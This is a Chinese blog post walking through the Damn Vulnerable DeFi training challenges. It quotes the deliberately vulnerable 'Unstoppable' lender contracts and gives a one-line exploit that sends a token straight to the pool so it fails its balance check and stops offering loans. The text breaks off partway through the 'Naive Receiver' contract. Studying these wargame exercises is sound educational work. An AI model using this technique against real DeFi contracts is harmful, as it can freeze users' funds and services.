Damn Vulnerable DeFi靶场实战(1-5)

本文详细介绍了Damn Vulnerable DeFi靶场的四个挑战:Unstoppable、Naive Receiver、Truster和Side entrance。通过分析合约漏洞,展示了如何利用闪电贷攻击合约,包括停止贷款服务、掏空用户资产、盗取合约所有资金以及骗取奖励代币。每个挑战都包含了攻击思路和攻击代码的解释。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Unstoppable

分析

题目要求:

There’s a lending pool with a million DVT tokens in balance, offering
flash loans for free.

If only there was a way to attack and stop the pool from offering
flash loans …

You start with 100 DVT tokens in balance.

题目给了一个闪电贷合约,要求我们停止这个闪电贷合约继续运行。
闪电贷合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface IReceiver {
   
    function receiveTokens(address tokenAddress, uint256 amount) external;
}

/**
 * @title UnstoppableLender
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract UnstoppableLender is ReentrancyGuard {
   

    IERC20 public immutable damnValuableToken;
    uint256 public poolBalance;

    constructor(address tokenAddress) {
   
        require(tokenAddress != address(0), "Token address cannot be zero");
        damnValuableToken = IERC20(tokenAddress);
    }

    function depositTokens(uint256 amount) external nonReentrant {
   
        require(amount > 0, "Must deposit at least one token");
        // Transfer token from sender. Sender must have first approved them.
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
   
        require(borrowAmount > 0, "Must borrow at least one token");

        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // Ensured by the protocol via the `depositTokens` function
        assert(poolBalance == balanceBefore);
        
        damnValuableToken.transfer(msg.sender, borrowAmount);
        
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
        
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

合约拥有两个函数,并使用了名为“DVT”的ERC20代币。
DVT代币合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/**
 * @title DamnValuableToken
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract DamnValuableToken is ERC20 {
   

    // Decimals are set to 18 by default in `ERC20`
    constructor() ERC20("DamnValuableToken", "DVT") {
   
        _mint(msg.sender, type(uint256).max);
    }
}

合约创造之初就给了创造者最多的代币,而我们需要让这些代币失效,也就是不能进行使用。

UnstoppableLender.sol合约中定义了两个函数,depositTokens和flashloan,前者用来向合约增加代币,后者则是闪电贷函数,其中又限定了调用者满足IReceiver接口,因此借贷者也应该是一个合约,题目也给出了借贷者的合约。

借贷者合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ReceiverUnstoppable {
   

    UnstoppableLender private immutable pool;
    address private immutable owner;

    constructor(address poolAddress) {
   
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender;
    }

    // Pool will call this function during the flash loan
    function receiveTokens(address tokenAddress, uint256 amount) external {
   
        require(msg.sender == address(pool), "Sender must be pool");
        // Return all tokens to the pool
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    }

    function executeFlashLoan(uint256 amount) external {
   
        require(msg.sender == owner, "Only owner can execute flash loan");
        pool.flashLoan(amount);
    }
}

该合约只有两个函数,一个函数用来将借到的通证返还给闪电贷合约,另一个函数用来向闪电贷合约借通证,并限制借贷者只能是owner。
我们来分析一下闪电贷合约中的几个限制条件的含义分别是什么。

  • require(borrowAmount > 0, "Must borrow at least one token");此项防止无意义的借贷,确保每次运行确实进行借贷了
  • require(balanceBefore >= borrowAmount, "Not enough tokens in pool");此项是确保有足够的通证余额进行借贷
  • assert(poolBalance == balanceBefore);此项是为了保证合约中现在的通证,与之前的通证相同
  • require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");此项是为了确保借贷者合约将通证进行了返还

我们注意到函数中的第三个限制条件,balanceBefore是合约现在的余额,而poolBalance是合约之间的余额,并且这个变量只在depositToken中进行了修改,但是我们并不仅仅只有这一种方法为合约增加通证,我们从这一点切入进行攻击。

攻击

攻击代码:

it('Exploit', async function () {
   
        /** CODE YOUR EXPLOIT HERE */
            await this.token.transfer(this.pool.address,1)
    });

我们仅仅是在攻击区域增加了 await this.token.transfer(this.pool.address,1),为合约发送了一个DVT通证,这时合约的poolBalance并没有发生变化,但余额其实增加了1DVT,所以一旦想要再次借贷,poolBalance和balanceBefore并不相等,无法正常借贷。
在这里插入图片描述
攻击完成

Naive Receiver

分析

题目要求:

There’s a lending pool offering quite expensive flash loans of Ether,
which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in
balance, capable of interacting with the lending pool and receiveing
flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single
transaction is a big plus

大意就是有一个高利贷的闪电贷合约,借贷池中有一千个eth,而用户拥有十个eth,我们要做的就是将用户的这十个ETH掏空。让我们来看看合约
闪电贷合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {
   

    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

    function fixedFee() external pure returns (uint256) {
   
        return FIXED_FEE;
    }

    
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值